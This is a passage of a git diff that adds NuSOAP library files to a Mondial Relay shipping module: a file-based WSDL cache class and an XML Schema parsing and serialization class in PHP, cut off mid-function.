-0,0 +1,209 @@ + +* @author Ingo Fischer +* @version $Id$ +* @access public +*/ +class nusoap_wsdlcache { + /** + * @var resource + * @access private + */ + var $fplock; + /** + * @var integer + * @access private + */ + var $cache_lifetime; + /** + * @var string + * @access private + */ + var $cache_dir; + /** + * @var string + * @access public + */ + var $debug_str = ''; + + /** + * constructor + * + * @param string $cache_dir directory for cache-files + * @param integer $cache_lifetime lifetime for caching-files in seconds or 0 for unlimited + * @access public + */ + function nusoap_wsdlcache($cache_dir='.', $cache_lifetime=0) { + $this->fplock = array(); + $this->cache_dir = $cache_dir != '' ? $cache_dir : '.'; + $this->cache_lifetime = $cache_lifetime; + } + + /** + * creates the filename used to cache a wsdl instance + * + * @param string $wsdl The URL of the wsdl instance + * @return string The filename used to cache the instance + * @access private + */ + function createFilename($wsdl) { + return $this->cache_dir.'/wsdlcache-' . md5($wsdl); + } + + /** + * adds debug data to the class level debug string + * + * @param string $string debug data + * @access private + */ + function debug($string){ + $this->debug_str .= get_class($this).": $string\n"; + } + + /** + * gets a wsdl instance from the cache + * + * @param string $wsdl The URL of the wsdl instance + * @return object wsdl The cached wsdl instance, null if the instance is not in the cache + * @access public + */ + function get($wsdl) { + $filename = $this->createFilename($wsdl); + if ($this->obtainMutex($filename, "r")) { + // check for expired WSDL that must be removed from the cache + if ($this->cache_lifetime > 0) { + if (file_exists($filename) && (time() - filemtime($filename) > $this->cache_lifetime)) { + unlink($filename); + $this->debug("Expired $wsdl ($filename) from cache"); + $this->releaseMutex($filename); + return null; + } + } + // see what there is to return + if (!file_exists($filename)) { + $this->debug("$wsdl ($filename) not in cache (1)"); + $this->releaseMutex($filename); + return null; + } + $fp = @fopen($filename, "r"); + if ($fp) { + $s = implode("", @file($filename)); + fclose($fp); + $this->debug("Got $wsdl ($filename) from cache"); + } else { + $s = null; + $this->debug("$wsdl ($filename) not in cache (2)"); + } + $this->releaseMutex($filename); + return (!is_null($s)) ? unserialize($s) : null; + } else { + $this->debug("Unable to obtain mutex for $filename in get"); + } + return null; + } + + /** + * obtains the local mutex + * + * @param string $filename The Filename of the Cache to lock + * @param string $mode The open-mode ("r" or "w") or the file - affects lock-mode + * @return boolean Lock successfully obtained ?! + * @access private + */ + function obtainMutex($filename, $mode) { + if (isset($this->fplock[md5($filename)])) { + $this->debug("Lock for $filename already exists"); + return false; + } + $this->fplock[md5($filename)] = fopen($filename.".lock", "w"); + if ($mode == "r") { + return flock($this->fplock[md5($filename)], LOCK_SH); + } else { + return flock($this->fplock[md5($filename)], LOCK_EX); + } + } + + /** + * adds a wsdl instance to the cache + * + * @param object wsdl $wsdl_instance The wsdl instance to add + * @return boolean WSDL successfully cached + * @access public + */ + function put($wsdl_instance) { + $filename = $this->createFilename($wsdl_instance->wsdl); + $s = serialize($wsdl_instance); + if ($this->obtainMutex($filename, "w")) { + $fp = fopen($filename, "w"); + if (! $fp) { + $this->debug("Cannot write $wsdl_instance->wsdl ($filename) in cache"); + $this->releaseMutex($filename); + return false; + } + fputs($fp, $s); + fclose($fp); + $this->debug("Put $wsdl_instance->wsdl ($filename) in cache"); + $this->releaseMutex($filename); + return true; + } else { + $this->debug("Unable to obtain mutex for $filename in put"); + } + return false; + } + + /** + * releases the local mutex + * + * @param string $filename The Filename of the Cache to lock + * @return boolean Lock successfully released + * @access private + */ + function releaseMutex($filename) { + $ret = flock($this->fplock[md5($filename)], LOCK_UN); + fclose($this->fplock[md5($filename)]); + unset($this->fplock[md5($filename)]); + if (! $ret) { + $this->debug("Not able to release lock for $filename"); + } + return $ret; + } + + /** + * removes a wsdl instance from the cache + * + * @param string $wsdl The URL of the wsdl instance + * @return boolean Whether there was an instance to remove + * @access public + */ + function remove($wsdl) { + $filename = $this->createFilename($wsdl); + if (!file_exists($filename)) { + $this->debug("$wsdl ($filename) not in cache to be removed"); + return false; + } + // ignore errors obtaining mutex + $this->obtainMutex($filename, "w"); + $ret = unlink($filename); + $this->debug("Removed ($ret) $wsdl ($filename) from cache"); + $this->releaseMutex($filename); + return $ret; + } +} + +/** + * For backward compatibility + */ +class wsdlcache extends nusoap_wsdlcache { +} +?> diff --git a/modules/mondialrelay2/lib/nusoap/class.xmlschema.php b/modules/mondialrelay2/lib/nusoap/class.xmlschema.php new file mode 100755 index 0000000..621f19f --- /dev/null +++ b/modules/mondialrelay2/lib/nusoap/class.xmlschema.php @@ -0,0 +1,972 @@ + +* @author Scott Nichol +* @version $Id$ +* @access public +*/ +class nusoap_xmlschema extends nusoap_base { + + // files + var $schema = ''; + var $xml = ''; + // namespaces + var $enclosingNamespaces; + // schema info + var $schemaInfo = array(); + var $schemaTargetNamespace = ''; + // types, elements, attributes defined by the schema + var $attributes = array(); + var $complexTypes = array(); + var $complexTypeStack = array(); + var $currentComplexType = null; + var $elements = array(); + var $elementStack = array(); + var $currentElement = null; + var $simpleTypes = array(); + var $simpleTypeStack = array(); + var $currentSimpleType = null; + // imports + var $imports = array(); + // parser vars + var $parser; + var $position = 0; + var $depth = 0; + var $depth_array = array(); + var $message = array(); + var $defaultNamespace = array(); + + /** + * constructor + * + * @param string $schema schema document URI + * @param string $xml xml document URI + * @param string $namespaces namespaces defined in enclosing XML + * @access public + */ + function nusoap_xmlschema($schema='',$xml='',$namespaces=array()){ + parent::nusoap_base(); + $this->debug('nusoap_xmlschema class instantiated, inside constructor'); + // files + $this->schema = $schema; + $this->xml = $xml; + + // namespaces + $this->enclosingNamespaces = $namespaces; + $this->namespaces = array_merge($this->namespaces, $namespaces); + + // parse schema file + if($schema != ''){ + $this->debug('initial schema file: '.$schema); + $this->parseFile($schema, 'schema'); + } + + // parse xml file + if($xml != ''){ + $this->debug('initial xml file: '.$xml); + $this->parseFile($xml, 'xml'); + } + + } + + /** + * parse an XML file + * + * @param string $xml path/URL to XML file + * @param string $type (schema | xml) + * @return boolean + * @access public + */ + function parseFile($xml,$type){ + // parse xml file + if($xml != ""){ + $xmlStr = @join("",@file($xml)); + if($xmlStr == ""){ + $msg = 'Error reading XML from '.$xml; + $this->setError($msg); + $this->debug($msg); + return false; + } else { + $this->debug("parsing $xml"); + $this->parseString($xmlStr,$type); + $this->debug("done parsing $xml"); + return true; + } + } + return false; + } + + /** + * parse an XML string + * + * @param string $xml path or URL + * @param string $type (schema|xml) + * @access private + */ + function parseString($xml,$type){ + // parse xml string + if($xml != ""){ + + // Create an XML parser. + $this->parser = xml_parser_create(); + // Set the options for parsing the XML data. + xml_parser_set_option($this->parser, XML_OPTION_CASE_FOLDING, 0); + + // Set the object for the parser. + xml_set_object($this->parser, $this); + + // Set the element handlers for the parser. + if($type == "schema"){ + xml_set_element_handler($this->parser, 'schemaStartElement','schemaEndElement'); + xml_set_character_data_handler($this->parser,'schemaCharacterData'); + } elseif($type == "xml"){ + xml_set_element_handler($this->parser, 'xmlStartElement','xmlEndElement'); + xml_set_character_data_handler($this->parser,'xmlCharacterData'); + } + + // Parse the XML file. + if(!xml_parse($this->parser,$xml,true)){ + // Display an error message. + $errstr = sprintf('XML error parsing XML schema on line %d: %s', + xml_get_current_line_number($this->parser), + xml_error_string(xml_get_error_code($this->parser)) + ); + $this->debug($errstr); + $this->debug("XML payload:\n" . $xml); + $this->setError($errstr); + } + + xml_parser_free($this->parser); + } else{ + $this->debug('no xml passed to parseString()!!'); + $this->setError('no xml passed to parseString()!!'); + } + } + + /** + * gets a type name for an unnamed type + * + * @param string Element name + * @return string A type name for an unnamed type + * @access private + */ + function CreateTypeName($ename) { + $scope = ''; + for ($i = 0; $i < count($this->complexTypeStack); $i++) { + $scope .= $this->complexTypeStack[$i] . '_'; + } + return $scope . $ename . '_ContainedType'; + } + + /** + * start-element handler + * + * @param string $parser XML parser object + * @param string $name element name + * @param string $attrs associative array of attributes + * @access private + */ + function schemaStartElement($parser, $name, $attrs) { + + // position in the total number of elements, starting from 0 + $pos = $this->position++; + $depth = $this->depth++; + // set self as current value for this depth + $this->depth_array[$depth] = $pos; + $this->message[$pos] = array('cdata' => ''); + if ($depth > 0) { + $this->defaultNamespace[$pos] = $this->defaultNamespace[$this->depth_array[$depth - 1]]; + } else { + $this->defaultNamespace[$pos] = false; + } + + // get element prefix + if($prefix = $this->getPrefix($name)){ + // get unqualified name + $name = $this->getLocalPart($name); + } else { + $prefix = ''; + } + + // loop thru attributes, expanding, and registering namespace declarations + if(count($attrs) > 0){ + foreach($attrs as $k => $v){ + // if ns declarations, add to class level array of valid namespaces + if(preg_match('/^xmlns/',$k)){ + //$this->xdebug("$k: $v"); + //$this->xdebug('ns_prefix: '.$this->getPrefix($k)); + if($ns_prefix = substr(strrchr($k,':'),1)){ + //$this->xdebug("Add namespace[$ns_prefix] = $v"); + $this->namespaces[$ns_prefix] = $v; + } else { + $this->defaultNamespace[$pos] = $v; + if (! $this->getPrefixFromNamespace($v)) { + $this->namespaces['ns'.(count($this->namespaces)+1)] = $v; + } + } + if($v == 'http://www.w3.org/2001/XMLSchema' || $v == 'http://www.w3.org/1999/XMLSchema' || $v == 'http://www.w3.org/2000/10/XMLSchema'){ + $this->XMLSchemaVersion = $v; + $this->namespaces['xsi'] = $v.'-instance'; + } + } + } + foreach($attrs as $k => $v){ + // expand each attribute + $k = strpos($k,':') ? $this->expandQname($k) : $k; + $v = strpos($v,':') ? $this->expandQname($v) : $v; + $eAttrs[$k] = $v; + } + $attrs = $eAttrs; + } else { + $attrs = array(); + } + // find status, register data + switch($name){ + case 'all': // (optional) compositor content for a complexType + case 'choice': + case 'group': + case 'sequence': + //$this->xdebug("compositor $name for currentComplexType: $this->currentComplexType and currentElement: $this->currentElement"); + $this->complexTypes[$this->currentComplexType]['compositor'] = $name; + //if($name == 'all' || $name == 'sequence'){ + // $this->complexTypes[$this->currentComplexType]['phpType'] = 'struct'; + //} + break; + case 'attribute': // complexType attribute + //$this->xdebug("parsing attribute $attrs[name] $attrs[ref] of value: ".$attrs['http://schemas.xmlsoap.org/wsdl/:arrayType']); + $this->xdebug("parsing attribute:"); + $this->appendDebug($this->varDump($attrs)); + if (!isset($attrs['form'])) { + // TODO: handle globals + $attrs['form'] = $this->schemaInfo['attributeFormDefault']; + } + if (isset($attrs['http://schemas.xmlsoap.org/wsdl/:arrayType'])) { + $v = $attrs['http://schemas.xmlsoap.org/wsdl/:arrayType']; + if (!strpos($v, ':')) { + // no namespace in arrayType attribute value... + if ($this->defaultNamespace[$pos]) { + // ...so use the default + $attrs['http://schemas.xmlsoap.org/wsdl/:arrayType'] = $this->defaultNamespace[$pos] . ':' . $attrs['http://schemas.xmlsoap.org/wsdl/:arrayType']; + } + } + } + if(isset($attrs['name'])){ + $this->attributes[$attrs['name']] = $attrs; + $aname = $attrs['name']; + } elseif(isset($attrs['ref']) && $attrs['ref'] == 'http://schemas.xmlsoap.org/soap/encoding/:arrayType'){ + if (isset($attrs['http://schemas.xmlsoap.org/wsdl/:arrayType'])) { + $aname = $attrs['http://schemas.xmlsoap.org/wsdl/:arrayType']; + } else { + $aname = ''; + } + } elseif(isset($attrs['ref'])){ + $aname = $attrs['ref']; + $this->attributes[$attrs['ref']] = $attrs; + } + + if($this->currentComplexType){ // This should *always* be + $this->complexTypes[$this->currentComplexType]['attrs'][$aname] = $attrs; + } + // arrayType attribute + if(isset($attrs['http://schemas.xmlsoap.org/wsdl/:arrayType']) || $this->getLocalPart($aname) == 'arrayType'){ + $this->complexTypes[$this->currentComplexType]['phpType'] = 'array'; + $prefix = $this->getPrefix($aname); + if(isset($attrs['http://schemas.xmlsoap.org/wsdl/:arrayType'])){ + $v = $attrs['http://schemas.xmlsoap.org/wsdl/:arrayType']; + } else { + $v = ''; + } + if(strpos($v,'[,]')){ + $this->complexTypes[$this->currentComplexType]['multidimensional'] = true; + } + $v = substr($v,0,strpos($v,'[')); // clip the [] + if(!strpos($v,':') && isset($this->typemap[$this->XMLSchemaVersion][$v])){ + $v = $this->XMLSchemaVersion.':'.$v; + } + $this->complexTypes[$this->currentComplexType]['arrayType'] = $v; + } + break; + case 'complexContent': // (optional) content for a complexType + $this->xdebug("do nothing for element $name"); + break; + case 'complexType': + array_push($this->complexTypeStack, $this->currentComplexType); + if(isset($attrs['name'])){ + // TODO: what is the scope of named complexTypes that appear + // nested within other c complexTypes? + $this->xdebug('processing named complexType '.$attrs['name']); + //$this->currentElement = false; + $this->currentComplexType = $attrs['name']; + $this->complexTypes[$this->currentComplexType] = $attrs; + $this->complexTypes[$this->currentComplexType]['typeClass'] = 'complexType'; + // This is for constructs like + // + // + // + // + // + if(isset($attrs['base']) && preg_match('/:Array$/',$attrs['base'])){ + $this->xdebug('complexType is unusual array'); + $this->complexTypes[$this->currentComplexType]['phpType'] = 'array'; + } else { + $this->complexTypes[$this->currentComplexType]['phpType'] = 'struct'; + } + } else { + $name = $this->CreateTypeName($this->currentElement); + $this->xdebug('processing unnamed complexType for element ' . $this->currentElement . ' named ' . $name); + $this->currentComplexType = $name; + //$this->currentElement = false; + $this->complexTypes[$this->currentComplexType] = $attrs; + $this->complexTypes[$this->currentComplexType]['typeClass'] = 'complexType'; + // This is for constructs like + // + // + // + // + // + if(isset($attrs['base']) && preg_match('/:Array$/',$attrs['base'])){ + $this->xdebug('complexType is unusual array'); + $this->complexTypes[$this->currentComplexType]['phpType'] = 'array'; + } else { + $this->complexTypes[$this->currentComplexType]['phpType'] = 'struct'; + } + } + $this->complexTypes[$this->currentComplexType]['simpleContent'] = 'false'; + break; + case 'element': + array_push($this->elementStack, $this->currentElement); + if (!isset($attrs['form'])) { + if ($this->currentComplexType) { + $attrs['form'] = $this->schemaInfo['elementFormDefault']; + } else { + // global + $attrs['form'] = 'qualified'; + } + } + if(isset($attrs['type'])){ + $this->xdebug("processing typed element ".$attrs['name']." of type ".$attrs['type']); + if (! $this->getPrefix($attrs['type'])) { + if ($this->defaultNamespace[$pos]) { + $attrs['type'] = $this->defaultNamespace[$pos] . ':' . $attrs['type']; + $this->xdebug('used default namespace to make type ' . $attrs['type']); + } + } + // This is for constructs like + // + // + // + // + // + if ($this->currentComplexType && $this->complexTypes[$this->currentComplexType]['phpType'] == 'array') { + $this->xdebug('arrayType for unusual array is ' . $attrs['type']); + $this->complexTypes[$this->currentComplexType]['arrayType'] = $attrs['type']; + } + $this->currentElement = $attrs['name']; + $ename = $attrs['name']; + } elseif(isset($attrs['ref'])){ + $this->xdebug("processing element as ref to ".$attrs['ref']); + $this->currentElement = "ref to ".$attrs['ref']; + $ename = $this->getLocalPart($attrs['ref']); + } else { + $type = $this->CreateTypeName($this->currentComplexType . '_' . $attrs['name']); + $this->xdebug("processing untyped element " . $attrs['name'] . ' type ' . $type); + $this->currentElement = $attrs['name']; + $attrs['type'] = $this->schemaTargetNamespace . ':' . $type; + $ename = $attrs['name']; + } + if (isset($ename) && $this->currentComplexType) { + $this->xdebug("add element $ename to complexType $this->currentComplexType"); + $this->complexTypes[$this->currentComplexType]['elements'][$ename] = $attrs; + } elseif (!isset($attrs['ref'])) { + $this->xdebug("add element $ename to elements array"); + $this->elements[ $attrs['name'] ] = $attrs; + $this->elements[ $attrs['name'] ]['typeClass'] = 'element'; + } + break; + case 'enumeration': // restriction value list member + $this->xdebug('enumeration ' . $attrs['value']); + if ($this->currentSimpleType) { + $this->simpleTypes[$this->currentSimpleType]['enumeration'][] = $attrs['value']; + } elseif ($this->currentComplexType) { + $this->complexTypes[$this->currentComplexType]['enumeration'][] = $attrs['value']; + } + break; + case 'extension': // simpleContent or complexContent type extension + $this->xdebug('extension ' . $attrs['base']); + if ($this->currentComplexType) { + $ns = $this->getPrefix($attrs['base']); + if ($ns == '') { + $this->complexTypes[$this->currentComplexType]['extensionBase'] = $this->schemaTargetNamespace . ':' . $attrs['base']; + } else { + $this->complexTypes[$this->currentComplexType]['extensionBase'] = $attrs['base']; + } + } else { + $this->xdebug('no current complexType to set extensionBase'); + } + break; + case 'import': + if (isset($attrs['schemaLocation'])) { + $this->xdebug('import namespace ' . $attrs['namespace'] . ' from ' . $attrs['schemaLocation']); + $this->imports[$attrs['namespace']][] = array('location' => $attrs['schemaLocation'], 'loaded' => false); + } else { + $this->xdebug('import namespace ' . $attrs['namespace']); + $this->imports[$attrs['namespace']][] = array('location' => '', 'loaded' => true); + if (! $this->getPrefixFromNamespace($attrs['namespace'])) { + $this->namespaces['ns'.(count($this->namespaces)+1)] = $attrs['namespace']; + } + } + break; + case 'include': + if (isset($attrs['schemaLocation'])) { + $this->xdebug('include into namespace ' . $this->schemaTargetNamespace . ' from ' . $attrs['schemaLocation']); + $this->imports[$this->schemaTargetNamespace][] = array('location' => $attrs['schemaLocation'], 'loaded' => false); + } else { + $this->xdebug('ignoring invalid XML Schema construct: include without schemaLocation attribute'); + } + break; + case 'list': // simpleType value list + $this->xdebug("do nothing for element $name"); + break; + case 'restriction': // simpleType, simpleContent or complexContent value restriction + $this->xdebug('restriction ' . $attrs['base']); + if($this->currentSimpleType){ + $this->simpleTypes[$this->currentSimpleType]['type'] = $attrs['base']; + } elseif($this->currentComplexType){ + $this->complexTypes[$this->currentComplexType]['restrictionBase'] = $attrs['base']; + if(strstr($attrs['base'],':') == ':Array'){ + $this->complexTypes[$this->currentComplexType]['phpType'] = 'array'; + } + } + break; + case 'schema': + $this->schemaInfo = $attrs; + $this->schemaInfo['schemaVersion'] = $this->getNamespaceFromPrefix($prefix); + if (isset($attrs['targetNamespace'])) { + $this->schemaTargetNamespace = $attrs['targetNamespace']; + } + if (!isset($attrs['elementFormDefault'])) { + $this->schemaInfo['elementFormDefault'] = 'unqualified'; + } + if (!isset($attrs['attributeFormDefault'])) { + $this->schemaInfo['attributeFormDefault'] = 'unqualified'; + } + break; + case 'simpleContent': // (optional) content for a complexType + if ($this->currentComplexType) { // This should *always* be + $this->complexTypes[$this->currentComplexType]['simpleContent'] = 'true'; + } else { + $this->xdebug("do nothing for element $name because there is no current complexType"); + } + break; + case 'simpleType': + array_push($this->simpleTypeStack, $this->currentSimpleType); + if(isset($attrs['name'])){ + $this->xdebug("processing simpleType for name " . $attrs['name']); + $this->currentSimpleType = $attrs['name']; + $this->simpleTypes[ $attrs['name'] ] = $attrs; + $this->simpleTypes[ $attrs['name'] ]['typeClass'] = 'simpleType'; + $this->simpleTypes[ $attrs['name'] ]['phpType'] = 'scalar'; + } else { + $name = $this->CreateTypeName($this->currentComplexType . '_' . $this->currentElement); + $this->xdebug('processing unnamed simpleType for element ' . $this->currentElement . ' named ' . $name); + $this->currentSimpleType = $name; + //$this->currentElement = false; + $this->simpleTypes[$this->currentSimpleType] = $attrs; + $this->simpleTypes[$this->currentSimpleType]['phpType'] = 'scalar'; + } + break; + case 'union': // simpleType type list + $this->xdebug("do nothing for element $name"); + break; + default: + $this->xdebug("do not have any logic to process element $name"); + } + } + + /** + * end-element handler + * + * @param string $parser XML parser object + * @param string $name element name + * @access private + */ + function schemaEndElement($parser, $name) { + // bring depth down a notch + $this->depth--; + // position of current element is equal to the last value left in depth_array for my depth + if(isset($this->depth_array[$this->depth])){ + $pos = $this->depth_array[$this->depth]; + } + // get element prefix + if ($prefix = $this->getPrefix($name)){ + // get unqualified name + $name = $this->getLocalPart($name); + } else { + $prefix = ''; + } + // move on... + if($name == 'complexType'){ + $this->xdebug('done processing complexType ' . ($this->currentComplexType ? $this->currentComplexType : '(unknown)')); + $this->xdebug($this->varDump($this->complexTypes[$this->currentComplexType])); + $this->currentComplexType = array_pop($this->complexTypeStack); + //$this->currentElement = false; + } + if($name == 'element'){ + $this->xdebug('done processing element ' . ($this->currentElement ? $this->currentElement : '(unknown)')); + $this->currentElement = array_pop($this->elementStack); + } + if($name == 'simpleType'){ + $this->xdebug('done processing simpleType ' . ($this->currentSimpleType ? $this->currentSimpleType : '(unknown)')); + $this->xdebug($this->varDump($this->simpleTypes[$this->currentSimpleType])); + $this->currentSimpleType = array_pop($this->simpleTypeStack); + } + } + + /** + * element content handler + * + * @param string $parser XML parser object + * @param string $data element content + * @access private + */ + function schemaCharacterData($parser, $data){ + $pos = $this->depth_array[$this->depth - 1]; + $this->message[$pos]['cdata'] .= $data; + } + + /** + * serialize the schema + * + * @access public + */ + function serializeSchema(){ + + $schemaPrefix = $this->getPrefixFromNamespace($this->XMLSchemaVersion); + $xml = ''; + // imports + if (sizeof($this->imports) > 0) { + foreach($this->imports as $ns => $list) { + foreach ($list as $ii) { + if ($ii['location'] != '') { + $xml .= " <$schemaPrefix:import location=\"" . $ii['location'] . '" namespace="' . $ns . "\" />\n"; + } else { + $xml .= " <$schemaPrefix:import namespace=\"" . $ns . "\" />\n"; + } + } + } + } + // complex types + foreach($this->complexTypes as $typeName => $attrs){ + $contentStr = ''; + // serialize child elements + if(isset($attrs['elements']) && (count($attrs['elements']) > 0)){ + foreach($attrs['elements'] as $element => $eParts){ + if(isset($eParts['ref'])){ + $contentStr .= " <$schemaPrefix:element ref=\"$element\"/>\n"; + } else { + $contentStr .= " <$schemaPrefix:element name=\"$element\" type=\"" . $this->contractQName($eParts['type']) . "\""; + foreach ($eParts as $aName => $aValue) { + // handle, e.g., abstract, default, form, minOccurs, maxOccurs, nillable + if ($aName != 'name' && $aName != 'type') { + $contentStr .= " $aName=\"$aValue\""; + } + } + $contentStr .= "/>\n"; + } + } + // compositor wraps elements + if (isset($attrs['compositor']) && ($attrs['compositor'] != '')) { + $contentStr = " <$schemaPrefix:$attrs[compositor]>\n".$contentStr." \n"; + } + } + // attributes + if(isset($attrs['attrs']) && (count($attrs['attrs']) >= 1)){ + foreach($attrs['attrs'] as $attr => $aParts){ + $contentStr .= " <$schemaPrefix:attribute"; + foreach ($aParts as $a => $v) { + if ($a == 'ref' || $a == 'type') { + $contentStr .= " $a=\"".$this->contractQName($v).'"'; + } elseif ($a == 'http://schemas.xmlsoap.org/wsdl/:arrayType') { + $this->usedNamespaces['wsdl'] = $this->namespaces['wsdl']; + $contentStr .= ' wsdl:arrayType="'.$this->contractQName($v).'"'; + } else { + $contentStr .= " $a=\"$v\""; + } + } + $contentStr .= "/>\n"; + } + } + // if restriction + if (isset($attrs['restrictionBase']) && $attrs['restrictionBase'] != ''){ + $contentStr = " <$schemaPrefix:restriction base=\"".$this->contractQName($attrs['restrictionBase'])."\">\n".$contentStr." \n"; + // complex or simple content + if ((isset($attrs['elements']) && count($attrs['elements']) > 0) || (isset($attrs['attrs']) && count($attrs['attrs']) > 0)){ + $contentStr = " <$schemaPrefix:complexContent>\n".$contentStr." \n"; + } + } + // finalize complex type + if($contentStr != ''){ + $contentStr = " <$schemaPrefix:complexType name=\"$typeName\">\n".$contentStr." \n"; + } else { + $contentStr = " <$schemaPrefix:complexType name=\"$typeName\"/>\n"; + } + $xml .= $contentStr; + } + // simple types + if(isset($this->simpleTypes) && count($this->simpleTypes) > 0){ + foreach($this->simpleTypes as $typeName => $eParts){ + $xml .= " <$schemaPrefix:simpleType name=\"$typeName\">\n <$schemaPrefix:restriction base=\"".$this->contractQName($eParts['type'])."\">\n"; + if (isset($eParts['enumeration'])) { + foreach ($eParts['enumeration'] as $e) { + $xml .= " <$schemaPrefix:enumeration value=\"$e\"/>\n"; + } + } + $xml .= " \n "; + } + } + // elements + if(isset($this->elements) && count($this->elements) > 0){ + foreach($this->elements as $element => $eParts){ + $xml .= " <$schemaPrefix:element name=\"$element\" type=\"".$this->contractQName($eParts['type'])."\"/>\n"; + } + } + // attributes + if(isset($this->attributes) && count($this->attributes) > 0){ + foreach($this->attributes as $attr => $aParts){ + $xml .= " <$schemaPrefix:attribute name=\"$attr\" type=\"".$this->contractQName($aParts['type'])."\"\n/>"; + } + } + // finish 'er up + $attr = ''; + foreach ($this->schemaInfo as $k => $v) { + if ($k == 'elementFormDefault' || $k == 'attributeFormDefault') { + $attr .= " $k=\"$v\""; + } + } + $el = "<$schemaPrefix:schema$attr targetNamespace=\"$this->schemaTargetNamespace\"\n"; + foreach (array_diff($this->usedNamespaces, $this->enclosingNamespaces) as $nsp => $ns) { + $el .= " xmlns:$nsp=\"$ns\""; + } + $xml = $el . ">\n".$xml."\n"; + return $xml; + } + + /** + * adds debug data to the clas level debug string + * + * @param string $string debug data + * @access private + */ + function xdebug($string){ + $this->debug('<' . $this->schemaTargetNamespace . '> '.$string); + } + + /** + * get the PHP type of a user defined type in the schema + * PHP type is kind of a misnomer since it actually returns 'struct' for assoc. arrays + * returns false if no type exists, or not w/ the given namespace + * else returns a string that is either a native php type, or 'struct' + * + * @param string $type name of defined type + * @param string $ns namespace of type + * @return mixed + * @access public + * @deprecated + */ + function getPHPType($type,$ns){ + if(isset($this->typemap[$ns][$type])){ + //print "found type '$type' and ns $ns in typemap
        "; + return $this->typemap[$ns][$type]; + } elseif(isset($this->complexTypes[$type])){ + //print "getting type '$type' and ns $ns from complexTypes array
        "; + return $this->complexTypes[$type]['phpType']; + } + return false; + } + + /** + * returns an associative array of information about a given type + * returns false if no type exists by the given name + * + * For a complexType typeDef = array( + * 'restrictionBase' => '', + * 'phpType' => '', + * 'compositor' => '(sequence|all)', + * 'elements' => array(), // refs to elements array + * 'attrs' => array() // refs to attributes array + * ... and so on (see addComplexType) + * ) + * + * For simpleType or element, the array has different keys. + * + * @param string $type + * @return mixed + * @access public + * @see addComplexType + * @see addSimpleType + * @see addElement + */ + function getTypeDef($type){ + //$this->debug("in getTypeDef for type $type"); + if (substr($type, -1) == '^') { + $is_element = 1; + $type = substr($type, 0, -1); + } else { + $is_element = 0; + } + + if((! $is_element) && isset($this->complexTypes[$type])){ + $this->xdebug("in getTypeDef, found complexType $type"); + return $this->complexTypes[$type]; + } elseif((! $is_element) && isset($this->simpleTypes[$type])){ + $this->xdebug("in getTypeDef, found simpleType $type"); + if (!isset($this->simpleTypes[$type]['phpType'])) { + // get info for type to tack onto the simple type + // TODO: can this ever really apply (i.e. what is a simpleType really?) + $uqType = substr($this->simpleTypes[$type]['type'], strrpos($this->simpleTypes[$type]['type'], ':') + 1); + $ns = substr($this->simpleTypes[$type]['type'], 0, strrpos($this->simpleTypes[$type]['type'], ':')); + $etype = $this->getTypeDef($uqType); + if ($etype) { + $this->xdebug("in getTypeDef, found type for simpleType $type:"); + $this->xdebug($this->varDump($etype)); + if (isset($etype['phpType'])) { + $this->simpleTypes[$type]['phpType'] = $etype['phpType']; + } + if (isset($etype['elements'])) { + $this->simpleTypes[$type]['elements'] = $etype['elements']; + } + } + } + return $this->simpleTypes[$type]; + } elseif(isset($this->elements[$type])){ + $this->xdebug("in getTypeDef, found element $type"); + if (!isset($this->elements[$type]['phpType'])) { + // get info for type to tack onto the element + $uqType = substr($this->elements[$type]['type'], strrpos($this->elements[$type]['type'], ':') + 1); + $ns = substr($this->elements[$type]['type'], 0, strrpos($this->elements[$type]['type'], ':')); + $etype = $this->getTypeDef($uqType); + if ($etype) { + $this->xdebug("in getTypeDef, found type for element $type:"); + $this->xdebug($this->varDump($etype)); + if (isset($etype['phpType'])) { + $this->elements[$type]['phpType'] = $etype['phpType']; + } + if (isset($etype['elements'])) { + $this->elements[$type]['elements'] = $etype['elements']; + } + if (isset($etype['extensionBase'])) { + $this->elements[$type]['extensionBase'] = $etype['extensionBase']; + } + } elseif ($ns == 'http://www.w3.org/2001/XMLSchema') { + $this->xdebug("in getTypeDef, element $type is an XSD type"); + $this->elements[$type]['phpType'] = 'scalar'; + } + } + return $this->elements[$type]; + } elseif(isset($this->attributes[$type])){ + $this->xdebug("in getTypeDef, found attribute $type"); + return $this->attributes[$type]; + } elseif (preg_match('/_ContainedType$/', $type)) { + $this->xdebug("in getTypeDef, have an untyped element $type"); + $typeDef['typeClass'] = 'simpleType'; + $typeDef['phpType'] = 'scalar'; + $typeDef['type'] = 'http://www.w3.org/2001/XMLSchema:string'; + return $typeDef; + } + $this->xdebug("in getTypeDef, did not find $type"); + return false; + } + + /** + * returns a sample serialization of a given type, or false if no type by the given name + * + * @param string $type name of type + * @return mixed + * @access public + * @deprecated + */ + function serializeTypeDef($type){ + //print "in sTD() for type $type
        "; + if($typeDef = $this->getTypeDef($type)){ + $str .= '<'.$type; + if(is_array($typeDef['attrs'])){ + foreach($typeDef['attrs'] as $attName => $data){ + $str .= " $attName=\"{type = ".$data['type']."}\""; + } + } + $str .= " xmlns=\"".$this->schema['targetNamespace']."\""; + if(count($typeDef['elements']) > 0){ + $str .= ">"; + foreach($typeDef['elements'] as $element => $eData){ + $str .= $this->serializeTypeDef($element); + } + $str .= ""; + } elseif($typeDef['typeClass'] == 'element') { + $str .= ">"; + } else { + $str .= "/>"; + } + return $str; + } + return false; + } + + /** + * returns HTML form elements that allow a user + * to enter values for creating an instance of the given type. + * + * @param string $name name for type instance + * @param string $type name of type + * @return string + * @access public + * @deprecated + */ + function typeToForm($name,$type){ + // get typedef + if($typeDef = $this->getTypeDef($type)){ + // if struct + if($typeDef['phpType'] == 'struct'){ + $buffer .= ''; + foreach($typeDef['elements'] as $child => $childDef){ + $buffer .= " + + "; + } + $buffer .= '
        $childDef[name] (type: ".$this->getLocalPart($childDef['type'])."):
        '; + // if array + } elseif($typeDef['phpType'] == 'array'){ + $buffer .= ''; + for($i=0;$i < 3; $i++){ + $buffer .= " + + "; + } + $buffer .= '
        array item (type: $typeDef[arrayType]):
